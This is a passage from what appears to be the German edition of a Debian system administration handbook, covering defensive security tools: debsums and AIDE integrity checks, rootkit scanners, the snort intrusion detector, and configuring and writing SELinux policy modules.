Das andere Problem kann in ähnlicher Weise vermieden werden: die Überprüfung muss einfach auf einer tadellosen .deb-Datei beruhen. Da dies voraussetzt, dass man über alle .deb-Dateien für alle installierten Pakete verfügt und ihrer Unversehrtheit sicher ist, besteht der einfachste Weg darin, sie sich von einem Debian-Spiegelserver zu beschaffen. Dieser Vorgang kann langsam und mühsam sein und sollte daher nicht als eine regelmäßig zu nutzende proaktive Technik angesehen werden.


# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all


Beachten Sie, dass in diesem Beispiel der Befehl grep-status aus dem Paket grep-dctrl verwendet wird, das nicht standardmäßig installiert ist.


Dateien überwachen: AIDE


aide (Debian Paket)


Das Hilfsprogramm AIDE (Advanced Intrusion Detection Environment) ermöglicht es, die Unversehrtheit von Dateien zu überprüfen und jede Veränderung durch einen Vergleich mit einem zuvor festgehaltenen Abbild des intakten Systems zu entdecken. Dieses Abbild ist als Datenbank (/var/lib/aide/aide.dbaideinit initialisiert; sie wird dann täglich (mit dem Skript /etc/cron.daily/aide) genutzt, um nachzuprüfen, ob sich nichts Relevantes verändert hat. Wenn Veränderungen entdeckt werden, hält AIDE diese in Protokolldateien fest (/var/log/aide/*.log) und sendet seine Befunde per E-Mail an den Administrator.


IN DER PRAXIS Die Datenbank schützen


Da AIDE eine lokale Datenbank nutzt, um den Status der Dateien zu vergleichen, ist die Gültigkeit seiner Ergebnisse direkt an die Gültigkeit der Datenbank gebunden. Falls ein Angreifer auf einem kompromittierten System Administratorrechte erlangt, ist er in der Lage, die Datenbank auszutauschen und so seine Spuren zu verwischen. Eine mögliche Behelfslösung könnte darin bestehen, die Referenzdaten auf einem schreibgeschützten Medium zu speichern.


Viele Optionen in /etc/default/aide können dazu verwendet werden, das Verhalten des Pakets aide zu justieren. AIDEs eigentliche Konfiguration ist in /etc/aide/aide.conf und /etc/aide/aide.conf.d/ gespeichert (diese Dateien werden genau genommen nur von update-aide.conf dazu benutzt, die Datei /var/lib/aide/aide.conf.autogenerated zu erstellen). Die Konfiguration gibt an, welche Eigenschaften welcher Dateien überprüft werden sollen. Der Inhalt von Protokolldateien verändert sich zum Beispiel regelmäßig, und derartige Veränderungen können ignoriert werden, solange die Berechtigungen dieser Dateien die gleichen bleiben. Aber sowohl der Inhalt als auch die Berechtigungen von ausführbaren Dateien müssen unverändert bleiben. Obwohl die Konfigurationssyntax nicht sehr komplex ist, ist sie nicht völlig intuitiv. Daher wird empfohlen, die Handbuchseite aide.conf 5 zu lesen.


Eine neue Version der Datenbank wird täglich in /var/lib/aide/aide.db.new erstellt; falls alle aufgenommenen Veränderungen legitim sind, kann sie dazu benutzt werden, die Referenzdatenbank zu ersetzen.


ALTERNATIVE Tripwire und Samhain


Tripwire ist AIDE sehr ähnlich; selbst die Syntax der Konfigurationsdatei ist fast die gleiche. Die Hauptergänzung, die von tripwire bereitgestellt wird, ist ein Verfahren, die Konfigurationsdatei zu signieren, so dass ein Angreifer sie nicht auf eine andere Version der Referenzdatenbank zeigen lassen kann.


Samhain bietet ebenfalls ähnliche Leistungsmerkmale, sowie einige Funktionen, um Rootkits zu entdecken (siehe KURZER BLICK in der Seitenleiste). Es kann auch netzwerkweit eingesetzt werden und seine Spuren (mit einer Signatur) auf einem zentralen Server festhalten.


KURZER BLICK Die Pakete checksecurity und chkrootkit/rkhunter


checksecurity


Das erste dieser Pakete enthält verschiedene kleine Skripte, die grundlegende Prüfungen des Systems durchführen (leere Passwörter, neue setuid-Dateien usw.) und den Administrator, falls nötig, warnen. Es sollte sich allerdings trotz des eindeutigen Namens kein Administrator nur darauf verlassen um sich davon zu überzeugen, dass das Linux-System sicher ist.


Die Pakete chkrootkit und rkhunter ermöglichen es, nach möglicherweise auf dem System installierten Rootkits Ausschau zu halten. Zur Erinnerung: dies sind Programme, die dazu bestimmt sind, die Kompromittierung eines Systems zu verbergen und gleichzeitig diskret den Rechner im Griff zu halten. Die Tests sind nicht zu 100% zuverlässig, aber sie können gewöhnlich die Aufmerksamkeit des Administrators auf die möglichen Probleme lenken.


Eindringen entdecken (IDS/NIDS)


detection, intrusion


intrusion detection


IDS


intrusion detection system


NIDS


NetworkIDS


ZURÜCK ZU DEN GRUNDLAGEN Denial of Service


denial of service


Ein "Denial-of-Service"-Angriff hat nur ein Ziel: einen Dienst nicht verfügbar zu machen. Ob ein solcher Angriff nun darin besteht, den Server mit Anfragen zu überlasten oder einen Fehler auszunutzen, das Ergebnis ist das gleiche: der Dienst ist nicht mehr funktionsfähig. Die normalen Benutzer sind unzufrieden, und der Ruf der Organisation, die den angegriffenen Netzwerkdienst beherbergt, erleidet Schaden (und verliert möglicherweise Einnahmen, falls zum Beispiel der Dienst eine E-Commerce-Website war).


Solch ein Angriff erfolgt manchmal "verteilt"; dazu gehört es normalerweise, den Server mit einer großen Anzahl von Anfragen, die von vielen verschiedenen Quellen kommen, zu überlasten, sodass der Server nicht mehr imstande ist, die seriösen Anfragen zu beantworten. Diese Art von Angriffen hat bekannte Abkürzungen erhalten: DoS und DDoS (je nachdem, ob der Denial-of-Service-Angriff verteilt ist oder nicht).


snort (im gleichnamigen Debian-Paket) ist ein NIDS - ein Network Intrusion Detection System. Seine Funktion besteht darin, das Netzwerk abzuhören und zu versuchen, Eindringversuche oder feindliche Handlungen (einschließlich eines Denial-of-Service-Angriffs) zu entdecken. Alle diese Vorgänge werden protokolliert und eine tägliche E-Mail mit einer Zusammenfassung der vergangenen 24 Stunden an den Administrator geschickt.


snort


Seine Konfigurierung erfordert es, den Adressbereich, den das lokale Netzwerk abdeckt, zu bezeichnen. In der Praxis ist dies der Satz aller möglichen Angriffsziele. Andere wichtige Parameter können mit dpkg-reconfigure snort eingestellt werden, einschließlich der zu überwachenden Netzwerk-Schnittstelle. Dies wird häufig eth0 für eine Ethernet-Verbindung sein, aber es gibt auch andere Möglichkeiten, wie ppp0 für ein ADSL, ein PSTN (Public Switched Telephone Network) oder das gute alte Einwahlmodem, oder auch wlan0 für kabellose Netzwerkkarten.


WEITERE SCHRITTE Integration mit prelude


Prelude bewirkt die zentralisierte Überwachung von Sicherheitsinformationen. Seine modulare Architektur enthält einen Server (den Manager im Paket prelude-manager), der Alarmmeldungen sammelt, die von verschiedenen Arten von Sensoren erzeugt werden.


Snort kann als ein solcher Sensor konfiguriert werden. Andere Möglichkeiten schließen prelude-lml (Log Monitor Lackey) ein, das Protokolldateien überwacht (in ähnlicher Weise wie das in beschriebene logcheck).


prelude


Die Konfigurationsdatei von snort (/etc/snort/snort.conf) ist sehr lang, und die ausgiebigen Kommentare beschreiben jede Anweisung in allen Einzelheiten. Um aus ihr möglichst viel herauszuholen, ist es erforderlich, sie vollständig durchzulesen und sie dann an die lokale Situation anzupassen. Zum Beispiel kann die Angabe darüber, welcher Rechner welchen Dienst beherbergt, die Anzahl der Vorfälle, die snort meldet, einschränken, da ein Denial-of-Service-Angriff auf einen Arbeitsplatzrechner deutlich weniger kritisch ist als auf einen DNS-Server. Eine andere interessante Anweisung ermöglicht es, die Zuordnungen zwische IP-Adressen und MAC-Adressen (diese identifizieren eine Netzwerkkarte eindeutig) zu speichern, um so ARP spoofing-Angriffe zu entdecken, bei denen ein kompromittierter Rechner versucht, sich als ein anderer, wie zum Beispiel einen empfindlichen Server, auszugeben.


VORSICHT Wirkungsbereich


Die Effektivität von snort wird durch den Datenverkehr begrenzt, der an der überwachten Netzwerk-Schnittstelle sichtbar ist. Es kann natürlich nichts entdecken, wenn es den tatsächlichen Datenverkehr nicht beobachten kann. Wenn es an einen Netzwerkschalter angeschlossen ist, wird es daher nur Angriffe überwachen, die auf den Rechner, auf dem es läuft, abzielen, was möglicherweise nicht die Absicht ist. Der Rechner, der snort beherbergt, sollte daher an den "Spiegel"-Port des Schalters angeschlossen werden, der normalerweise speziell dafür vorgesehen ist, Schalter zu verketten und daher allen Datenverkehr erhält.


In einem kleinen Netzwerk das auf einem Netzwerk-Hub basiert, besteht dieses Problem nicht, da alle Rechner allen Datenverkehr erhalten.


Einführung in SELinux


SELinux


Prinzipien


SELinux (Security Enhanced Linux) ist ein System mit Mandatory Access Control, das auf der LSM-Schnittstelle (Linux Security Modules) von Linux aufbaut. In der Praxis befragt der Kernel SELinux vor jedem Systemaufruf, um herauszufinden, ob der Prozess authorisiert ist, den jeweiligen Vorgang auszuführen.


SELinux verwendet einen Satz von Regeln - in ihrer Gesamtheit als policy bezeichnet - um Vorgänge zu authorisieren oder zu verbieten. Diese Regeln sind schwierig zu erstellen. Glücklicherweise werden zwei Standardregelwerke (targeted and strict) bereitgestellt, um den Großteil der Konfigurierungsarbeit zu vermeiden.


Mit SELinux ist die Verwaltung der Berechtigungen grundsätzlich verschieden von traditionellen Unix-Systemen. Die Berechtigungen eines Prozesses hängen von seinem Sicherheitskontext ab. Der Kontext wird von der Identität des Benutzers bestimmt, der den Prozess gestartet hat, sowie von der Rolle und der Domain, die dem Benutzer zu dieser Zeit übertragen waren. Die Berechtigungen hängen tatsächlich von der Domain ab, aber die Übergänge zwischen den Domains werden von den Rollen kontrolliert. Und schließlich hängen die möglichen Übergänge zwischen den Rollen von der Identität ab.


Sicherheitskontrollen und Unix-Nutzer


In der Praxis bekommt der Benutzer während des Logins einen Standard-Sicherheits-Kontext zugewiesen, abhängig von der Rolle, die er ausüben soll. Dadurch ist die aktuelle Domäne definiert und damit die Domäne, die alle neuen Kind-Prozesse vererbt bekommen. Wenn man die aktuelle Rolle und die zugehörige Domäne ändern will, muss man newrole -r role_r -t domain_t aufrufen (normalerweise ist nur eine einzige Domäne für eine verwendete Rolle erlaubt, deshalb kann der Parameter -t meist weggelassen werden). Dieses Kommando authentifiziert dich indem es dich auffordert, dein Passwort einzugeben. Dieses Feature hindert Programme daran, automatisch Rollen zu wechseln. So sind Rollenänderungen nur möglich, wenn sie explizit in der SELinux Policy erlaubt sind.


Offensichtlich wirken die Berechtigungen nicht auf alle objects (Files, Directories, Sockets, Geräte usw.). Sie können sich von Objekt zu Objekt unterscheiden. Das wird dadurch erreicht, dass jedem Objekt einen Typ type zugeordnet wird (das wird labeling genannt). Die Rechte einer Domäne werden definiert durch (nicht) erlaubte Operationen auf diese Typen (und indirekt auf alle Objekte, die mit dem gegebenen Typ gekennzeichnet (labelled) sind.


EXTRA Domänen und Typen sind gleichbedeutend.


Intern ist eine Domäne auch nur ein Typ, aber ein Typ der nur auf Prozesse angewandt wird. Darum bekommen Domänen das Präfix _t, genau wie Objekttypen.


Standardmäßig übernimmt ein Programm die Domäne des Anwenders, der es gestartet hat, aber die Standard SELinux-Regeln erwarten, dass viele Programme in spezifischen Domänen laufen. Um das zu erreichen, werden diese Programme mit einem spezifischen Label gekennzeichnet (beispielsweise ist ssh mit dem Label ssh_exec_t gekennzeichnet und wenn es startet, wechselt es in die Domänen ssh_t). Dieser automatische Mechanismus zum Domänenwechsel erlaubt es, einem Programm nur die Berechtigungen zu gewähren, die es benötigt. Das ist ein fundamentales Prinzip in SELinux.


Automatischer Domänenübergang.


In der Praxis Den Security Context ermitteln.


security context


context, security context


MCS (Multi-Category Security)


Um den Security Context anzuzeigen gibt es die Option Z des Kommandos ps.


$ ps axZ | grep vstfpd system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd


Das erste Feld enthält die Identität, die Rolle, die Domäne und den MCS Level, getrennt durch Doppelpunkte. Das MCS Level (Multi-Category Security) ist ein Parameter, der in den Aufbau einer Regel zum Schutz der Vertraulichkeit eingreift, welche den Zugriff auf Files auf Basis ihrer Anfälligkeit regelt.


Um den aktuellen Security Context einer Shell anzuzeigen, kann man das Kommando id -Z aufrufen.


$ id -Z unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


Und um auch den Typ eines Files herauszufinden, kann man ls -Z ausführen.


$ ls -Z test /usr/bin/ssh unconfined_u:object_r:user_home_t:s0 test system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh


Man sollte beachten, dass die Identität und die Rolle, die einer Datei zugewiesen sind, keine spezielle Bedeutung haben (sie werden nie benutzt), aber aus Konsistenzgründen bekommen alle Objekte einen kompletten Security Kontext.


Einrichten SeLinux


SELinux Support ist in die von Debian veröffentlichten Kernel integriert. Die Kerntools von Unix unterstützen SELinux ohne Modifikation. SELinux zu aktivieren ist deshalb relativ leicht.


Der Befehl aptitude install selinux-basics selinux-policy-default installiert automatisch die zur Konfigurierung eines SELinux-Systems erforderlichen Pakete.


Das Paket selinux-policy-default enthält einen Satz von Standardregeln. Standardmäßig beschränken diese Richtlinien nur den Zugang für einige weitgehend ungeschützte Dienste. Die Benutzersitzungen sind nicht beschränkt, und es ist daher unwahrscheinlich, dass SELinux legitime Benutzeraktionen blockieren würde. Dieses erhöht jedoch die Sicherheit von Systemdiensten, die auf dem Rechner laufen. Um ein Regelwerk einzurichten, das den alten "strengen" Regeln entspricht, müssen Sie nur das Modul selinux-policy-default deaktivieren (die Modulverwaltung ist in diesem Abschnitt weiter beschrieben).


Sobald das Regelwerk installiert ist, sollten Sie alle verfügbaren Dateien kennzeichnen (was bedeutet, sie einem Typ zuzuordnen). Dieser Vorgang muss manuell mit dem Befehl fixfiles relabel gestartet werden.


Das SELinux-System ist nun einsatzbereit. Um es zu aktivieren, sollten Sie den Parameter selinux=1 zum Linux-Kernel hinzufügen. Der Parameter audit=1 aktiviert bei SELinux das Protokollieren, durch das alle unterbundenen Vorgänge aufgezeichnet werden. Schließlich bringt der Parameter enforcing=1 das Regelwerk zur Anwendung: ohne ihn läuft SELinux in seinem standardmäßigen permissive-Modus, bei dem unterbundene Vorgänge zwar protokolliert, aber dennoch ausgeführt werden. Sie sollten daher die Konfigurationsdatei des GRUB-Bootloaders anpassen, indem Sie die gewünschten Parameter anhängen. Ein einfacher Weg, dies zu tun, besteht darin, die Variable GRUB_CMDLINE_LINUX in der Datei /etc/default/grub zu ändern und dann den Befehl update-grub auszuführen. SELinux wird nach einem Neustart aktiv sein.


Es sei darauf hingewiesen, dass das Skript selinux-activate diese Vorgänge automatisiert und das Kennzeichnen der Dateien beim nächsten Rechnerstart erzwingt (wodurch vermieden wird, dass neue nicht gekennzeichnete Dateien erstellt werden, während SELinux noch nicht aktiv ist und das Kennzeichnen noch andauert).


Verwalten des SELinux Systems


semodule


semanage


Das SELinux-Regelwerk ist ein modularer Satz von Regeln, und mit seiner Installierung werden automatisch alle relevanten Module entsprechend den bereits installierten Diensten erkannt und aktiviert. Das System ist hierdurch sofort funktionsfähig. Wenn jedoch ein Dienst später als das SELinux-Regelwerk installiert wird, müssen Sie in der Lage sein, das entsprechende Modul manuell zu aktivieren. Hierzu dient der Befehl semodule. Darüberhinaus müssen Sie in der Lage sein, die Rollen festzulegen, die jeder Benutzer bestätigen kann. Dies geschieht mit dem Befehl semanage.


Diese beiden Befehle können so dazu benutzt werden, die aktuelle SELinux-Konfiguration, die in /etc/selinux/default/ gespeichert ist, zu ändern. Im Gegensatz zu anderen Konfigurationsdateien, die Sie in /etc/ finden, dürfen diese Dateien nicht manuell verändert werden. Sie sollten hierzu die für diesen Zweck vorgesehenen Programme verwenden.


More documentation


Da die NSA keine offizielle Dokumentation bereitstellt, hat die Gemeinschaft zum Ausgleich ein Wiki eingerichtet. Es bündelt viele Informationen, jedoch müssen Sie sich bewusst sein, dass die meisten SELinux-Mitwirkenden Fedora-Benutzer sind (bei dem SELinux standardmäßig aktiviert ist). Die Dokumentation tendiert daher dazu, sich vor allem mit dieser Distribution zu beschäftigen.


Sie sollten auch einen Blick werfen auf die entsprechenden Debian-Wiki-Seiten wie auch auf Russel Cokers Blog, der einer der aktivsten an der SELinux-Unterstützung arbeitenden Debian-Entwickler ist.


SELinux-Module verwalten


Verfügbare SELinux-Module sind im Verzeichnis /usr/share/selinux/default/ gespeichert. Um eines dieser Module in der aktuellen Konfiguration zu aktivieren, sollten Sie den Befehl semodule -i module.pp benutzen. Die Erweiterung pp steht für policy package.


Das Entfernen eines Moduls aus der aktuellen Konfiguration geschieht mit dem Befehl semodule -r modul. Schließlich listet der Befehl semodule -l die zur Zeit aktivierten Module auf. Er gibt außerdem ihre Versionsnummern an.


# semodule -i /usr/share/selinux/default/aide.pp # semodule -l aide 1.4.0 apache 1.10.0 apm 1.7.0 [...] # semodule -r aide # semodule -l apache 1.10.0 apm 1.7.0 [...]


semodule lädt die neue Konfiguration unmittelbar, es sei denn, Sie verwenden seine Option -n. Es sei darauf hingewiesen, dass das Programm standardmäßig auf die aktuelle Konfiguration wirkt (die durch die Variable SELINUXTYPE in der Datei /etc/selinux/config angezeigt wird), aber Sie können eine andere ändern, indem Sie sie mit der Option -s vorgeben.


Identitäten verwalten


Jedes Mal, wenn sich ein Benutzer anmeldet, wird ihm eine SELinux-Identität zugewiesen. Diese bestimmt die Rollen, die er bestätigen kann. Diese beiden Zuordnungen (des Benutzers zur Identität und der Identität zu den Rollen) können mit dem Befehl semanage konfiguriert werden.


Sie sollten auf jeden Fall die Handbuchseite semanage8 lesen, auch wenn die Befehlssyntax für alle verwalteten Konzepte tendentiell ähnlich ist. Sie werden Optionen finden, die für alle Unterbefehle gleich sind: -a zum Hinzufügen, -d zum Löschen, -m zum Ändern, -l zum Auflisten und -t zur Anzeige des Typs (oder der Domain).


semanage login -l führt die aktuellen Zuordnungen zwischen Benutzerkennungen und SELinux-Identitäten auf. Benutzer, die keinen ausdrücklichen Eintrag haben, erhalten die Identität, die im Eintrag __default__ angegeben ist. Der Befehl semanage login -a -s user_u benutzer ordnet die Identität user_u dem angegebenen Benutzer zu. Schließlich entfernt der Befehl semanage login -d benutzer den Zuordnungseintrag, der an diesen Benutzer vergeben war.


# semanage login -a -s user_u rhertzog # semanage login -l Login Name SELinux User MLS/MCS Range __default__ unconfined_u s0-s0:c0.c1023 rhertzog user_u None root unconfined_u s0-s0:c0.c1023 system_u system_u s0-s0:c0.c1023 # semanage login -d rhertzog


semanage user -l führt die Zuordnungen zwischen den SELinux-Benutzeridentitäten und den erlaubten Rollen auf. Um eine neue Identität hinzuzufügen, ist es erforderlich, sowohl die entsprechenden Rollen als auch ein kennzeichnendes Präfix festzulegen, das dazu benutzt wird, einem Typ persönliche Dateien (/home/benutzer/*) zuzuordnen. Als Präfix muss user, staff oder sysadm gewählt werden. Das Präfix "staff" ergibt Dateien des Typs "staff_home_dir_t". Das Erstellen einer neuen SELinux-Benutzeridentität geschieht mit dem Befehl semanage user -a -R rollen -P präfix identität. Schließlich kann eine SELinux-Benutzeridentität mit dem Befehl semanage user -d identität entfernt werden.


# semanage user -a -R 'staff_r user_r' -P staff test_u # semanage user -l Labeling MLS/ MLS/ SELinux User Prefix MCS Level MCS Range SELinux Roles root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r sysadm_u sysadm s0 s0-s0:c0.c1023 sysadm_r system_u user s0 s0-s0:c0.c1023 system_r test_u staff s0 s0 staff_r user_r unconfined_u unconfined s0 s0-s0:c0.c1023 system_r unconfined_r user_u user s0 s0 user_r # semanage user -d test_u


Dateikontexte, Ports und Boolesche Optionen verwalten


Jedes SELinux-Modul stellt einen Satz Dateibezeichnungsregeln zur Verfügung, aber es ist auch möglich, eigene Bezeichnungsregeln hinzuzufügen, um einen speziellen Fall abzudecken. Wenn Sie zum Beispiel möchten, dass der Webserver in der Lage ist, Dateien innerhalb der /srv/www/ Dateihierarchie zu lesen, könnten Sie semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?" gefolgt von restorecon -R /srv/www/ ausführen. Der erste Befehl registriert die neue Bezeichnungsregel und der letztere Befehl gleicht die Dateitypen gemäß den derzeitigen Bezeichnungsregeln an.


Ebenso sind die TCP/UDP-Ports in einer Weise gekennzeichnet, die sicherstellt, dass nur die entsprechenden Daemons an ihnen Verbindungen annehmen können. Wenn Sie zum Beispiel möchten, dass der Web-Server am Port 8080 Verbindungen annehmen kann, sollten Sie den Befehl semanage port -m -t http_port_t -p tcp 8080 ausführen.


Einige SELinux-Module exportieren Boolesche Optionen, die Sie justieren können, um das Verhalten der Standardregeln zu ändern. Das Dienstprogramm getsebool kann dazu verwendet werden, diese Optionen anzusehen (getsebool boolean zeigt eine Option an und getsebool -a alle). Der Befehl setsebool boolean wert ändert den aktuellen Wert einer Booleschen Option. Die Option -P macht die Änderung dauerhaft, was bedeutet, dass der neue Wert zum Standard wird und über Neustarts hinaus erhalten bleibt. Das unten stehende Beispiel gewährt Web-Servern Zugriff auf Home-Verzeichnisse (dies ist nützlich, wenn Benutzer persönliche Websites in ~/public_html/ haben).


# getsebool httpd_enable_homedirs httpd_enable_homedirs --> off # setsebool -P httpd_enable_homedirs on # getsebool httpd_enable_homedirs httpd_enable_homedirs --> on


Die Regeln anpassen


Da das SELinux-Regelwerk modular ist, könnte es interessant sein, neue Module für (möglicherweise maßgefertigte) Anwendungen, die diese nicht haben, zu entwickeln. Diese neuen Module würden dann die Referenzrichtlinien ergänzen.


Zur Erstellung neuer Module wird das Paket selinux-policy-dev benötigt, wie auch selinux-policy-doc. Letzteres enthält die Dokumentation der Standardregeln (/usr/share/doc/selinux-policy-doc/html/) und Beispieldateien, die als Vorlagen für die Erstellung neuer Module verwendet werden können. Installieren Sie diese Dateien und untersuchen Sie sie genauer:


$ zcat /usr/share/doc/selinux-policy-doc/Makefile.example.gz >Makefile $ zcat /usr/share/doc/selinux-policy-doc/example.fc.gz >example.fc $ zcat /usr/share/doc/selinux-policy-doc/example.if.gz >example.if $ cp /usr/share/doc/selinux-policy-doc/example.te ./


Die Datei .te ist die wichtigste. Sie legt die Regeln fest. Die Datei .fc bestimmt den "Dateikontext", das heißt, die Typen, die den auf diese Module bezogenen Dateien zugeordnet sind. Die in der Datei .fc befindlichen Daten werden während des Dateikennzeichnungsschrittes benutzt. Schließlich legt die Datei .if die Schnittstelle der Module fest: es ist ein Satz "öffentlicher Funktionen", die andere Module verwenden können, um ordnungsgemäß mit dem Modul, das Sie erstellen, zu interagieren.


Eine .fc-Datei schreiben


Das Lesen des unten stehenden Beispiels sollte genügen, um die Struktur einer derartigen Datei zu verstehen. Sie können reguläre Ausdrücke verwenden, um denselben Sicherheitskontext mehreren Dateien zuzuordnen oder auch einem ganzen Verzeichnisbaum.


example.fc Datei


# myapp executable will have: # label: system_u:object_r:myapp_exec_t # MLS sensitivity: s0 # MCS categories: <none> /usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)


Eine .if-Datei schreiben


In unten stehendem Beispiel kontrolliert die erste Schnittstelle ("myapp_domtrans"), wer die Anwendung ausführen kann. Die zweite ("myapp_read_log") gewährt Schreibzugriff auf die Protokolldateien der Anwendung.


Jede Schnittstelle muss einen gültigen Regelsatz erzeugen, der in eine .te-Datei eingegliedert werden kann. Sie sollten daher alle Typen, die Sie verwenden, festlegen (mit dem Makro gen_require) und Standardanweisungen benutzen, um Berechtigungen zu vergeben. Beachten Sie jedoch, dass Sie Schnittstellen benutzen können, die von anderen Modulen bereitgestellt werden. Der nächste Abschnitt gibt weitere Erläuterungen darüber, wie diese Berechtigungen ausgedrückt werden können.


beispiel.if-Datei


## <summary>Myapp example policy</summary> ## <desc> ## <p> ## More descriptive text about myapp. The <desc> ## tag can also use <p>, <ul>, and <ol> ## html tags for formatting. ## </p> ## <p> ## This policy supports the following myapp features: ## <ul> ## <li>Feature A</li> ## <li>Feature B</li> ## <li>Feature C</li> ## </ul> ## </p> ## </desc> # ######################################## ## <summary> ## Execute a domain transition to run myapp. ## </summary> ## <param name="domain"> ## Domain allowed to transition. ## </param> # interface(`myapp_domtrans',` gen_require(` type myapp_t, myapp_exec_t; ') domtrans_pattern($1,myapp_exec_t,myapp_t) ') ######################################## ## <summary> ## Read myapp log files. ## </summary> ## <param name="domain"> ## Domain allowed to read the log files. ## </param> # interface(`myapp_read_log',` gen_require(` type myapp_log_t; ') logging_search_logs($1) allow $1 myapp_log_t:file r_file_perms; ')


DOKUMENTATION Erläuterungen zu den Referenzrichtlinien


Die Referenzrichtlinien entwickeln sich wie jedes freie Softwareprojekt: auf der Grundlage freiwilliger Beiträge. Das Projekt wird von Tresys gehostet, einem der aktivsten Unternehmen im Bereich SELinux. Sein Wiki enthält Erläuterungen darüber, wie die Regeln strukturiert sind, und wie Sie neue erstellen können.


Schreibt eine .te Datei


Sehen Sie sich die example.te Datei an:


WEITERE SCHRITTE Die Makrosprache m4


Die SELinux-Entwickler verwendeten einen Makro-Befehlsprozessor, um die Richtlinien ordentlich zu strukturieren. Anstatt viele ähnliche allow-Anweisungen zu duplizieren, haben sie "Makrofunktionen" erstellt, um eine Logik auf höherer Ebene zu verwenden, die auch zu viel leichter lesbaren Richtlinien führt.


Konkret wird m4 benutzt, um diese Regeln zu kompilieren. Es führt den umgekehrten Vorgang durch: es erweitert alle diese auf hoher Ebene befindlichen Anweisungen zu einer großen Datenbank von allow-Anweisungen.


Die SELinux-"Schnittstellen" sind lediglich Makrofunktionen, die bei der Kompilierung durch einen Regelsatz ersetzt werden. Desgleichen sind einige Berechtigungen in Wirklichkeit Sätze von Berechtigungen, die bei der Kompilierung durch ihre Werte ersetzt werden.


policy_module(myapp,1.0.0) ######################################## # # Declarations # type myapp_t; type myapp_exec_t; domain_type(myapp_t) domain_entry_file(myapp_t, myapp_exec_t) type myapp_log_t; logging_log_file(myapp_log_t) type myapp_tmp_t; files_tmp_file(myapp_tmp_t) ######################################## # # Myapp local policy # allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; allow myapp_t myapp_tmp_t:file manage_file_perms; files_tmp_filetrans(myapp_t,myapp_tmp_t,file)


Das Modul muss mit seinem Namen und seiner Versions-Nummer gekennzeichnet sein. Diese Anweisung ist erforderlich.


Falls das Modul neue Typen einführt, muss es sie mit Anweisungen wie dieser festlegen. Zögern Sie nicht, so viele Typen zu erstellen, wie erforderlich sind, anstatt zuviele nutzlose Berechtigungen zu erteilen.


Diese Schnittstellen legen den Typ myapp_t als Prozess-Domain fest, die von jeder mit myapp_exec_t gekennzeichneten ausführbaren Datei benutzt werden sollte. Dies fügt diesen Objekten stillschweigend auch ein exec_type-Attribut hinzu, das seinerseits anderen Modulen ermöglicht, Berechtigungen zur Ausführung dieser Programme zu gewähren: zum Beispiel erlaubt das userdomain-Modul Prozessen mit den Domains user_t, staff_t und sysadm_t, sie auszuführen. Die Domains anderer eingeschränkter Anwendungen sind nicht berechtigt, sie auszuführen, es sei denn, die Regeln gewähren ihnen ähnliche Berechtigungen (dies trifft zum Beispiel auf dpkg mit seiner dpkg_t-Domain zu).


logging_log_file ist eine von den Referenzrichtlinien bereitgestellte Schnittstelle. Sie zeigt an, dass mit diesem Typ gekennzeichnete Dateien Protokolldateien sind, die die entsprechenden Regeln wahrnehmen können sollten (zum Beispiel logrotate Berechtigungen erteilen, sodass es sie handhaben kann).


Die allow-Anweisung ist die grundlegende Anweisung zur Genehmigung eines Vorgangs. Der erste Parameter ist die Prozess-Domain, der es erlaubt ist, den Vorgang auszuführen. Der zweite legt das Objekt fest, das ein Prozess der zuvor genannten Domain handhaben darf. Dieser Parameter hat die Form "type:class", wobei type sein SELinux-Typ ist und class die Art des Objekts beschreibt (Datei, Verzeichnis, Socket, FIFO usw.). Schließlich beschreibt der letzte Parameter die Berechtigungen (die erlaubten Vorgänge).


Berechtigungen sind als Satz erlaubter Vorgänge festgelegt und entsprechen diesem Schema: { vorgang1 vorgang2 }. Jedoch können Sie auch Makros verwenden, die die nützlichsten Berechtigungen darstellen. Die Datei /usr/share/selinux/default/include/support/obj_perm_sets.spt listet sie auf.


Die folgende Website stellt eine ziemlich vollständige Liste von Objektklassen und von Berechtigungen, die gewährt werden können, bereit.


Jetzt müssen Sie lediglich den kleinsten Regelsatz finden, der erforderlich ist, damit die Anwendung oder der Dienst, auf die er abzielt, ordnungsgemäß funktionieren. Um dies zu erreichen, sollten Sie sich gut damit auskennen, wie die Anwendung funktioniert, und welche Art von Daten sie verarbeitet oder erzeugt.


Jedoch ist auch eine erfahrungsgemäße Vorgehensweise möglich. Nachdem die relevanten Objekte richtig gekennzeichnet sind, können Sie die Anwendung im permissive-Modus benutzen: die Vorgänge, die verboten würden, werden protokolliert, sind aber weiterhin erfolgreich. Durch eine Analyse der Protokolle können Sie nun die Vorgänge identifizieren, die erlaubt werden sollen. Hier ist ein Beispiel eines derartigen Protokolleintrags:


avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file


Um diese Mitteilung besser verstehen zu können, gehen wir sie Stück für Stück durch.


Analyse eines SELinux-Ablaufs


Meldung


Beschreibung


avc: denied


Ein Vorgang wurde abgelehnt


{ read write }


Dieser Vorgang erforderte Lese- und Schreibberechtigungen.


pid=1876


Der Prozess mit der PID 1876 hat den Vorgang ausgeführt (oder versucht, ihn auszuführen).


comm="syslogd"


Der Prozess war ein Fall des syslogd-Programms.


name="xconsole"


Das Zielobjekt hieß xconsole.


dev=tmpfs


Das Gerät, auf dem sich das Zielobjekt befindet, ist ein tmpfs (ein im Arbeitsspeicher befindliches Dateisystem). Bei einer echten Platte würden Sie die Partition, die das Objekt enthält, sehen (zum Beispiel: "hda3").


ino=5510


Das Objekt ist mit der Inode-Nummer 5510 gekennzeichnet.


scontext=system_u:system_r:syslogd_t:s0


Dies ist der Sicherheitskontext des Prozesses der den Vorgang ausgeführt hat.


tcontext=system_u:object_r:device_t:s0


Dies ist der Sicherheitskontext des Zielobjekts.


tclass=fifo_file


Das Zielobjekt ist eine FIFO-Datei.


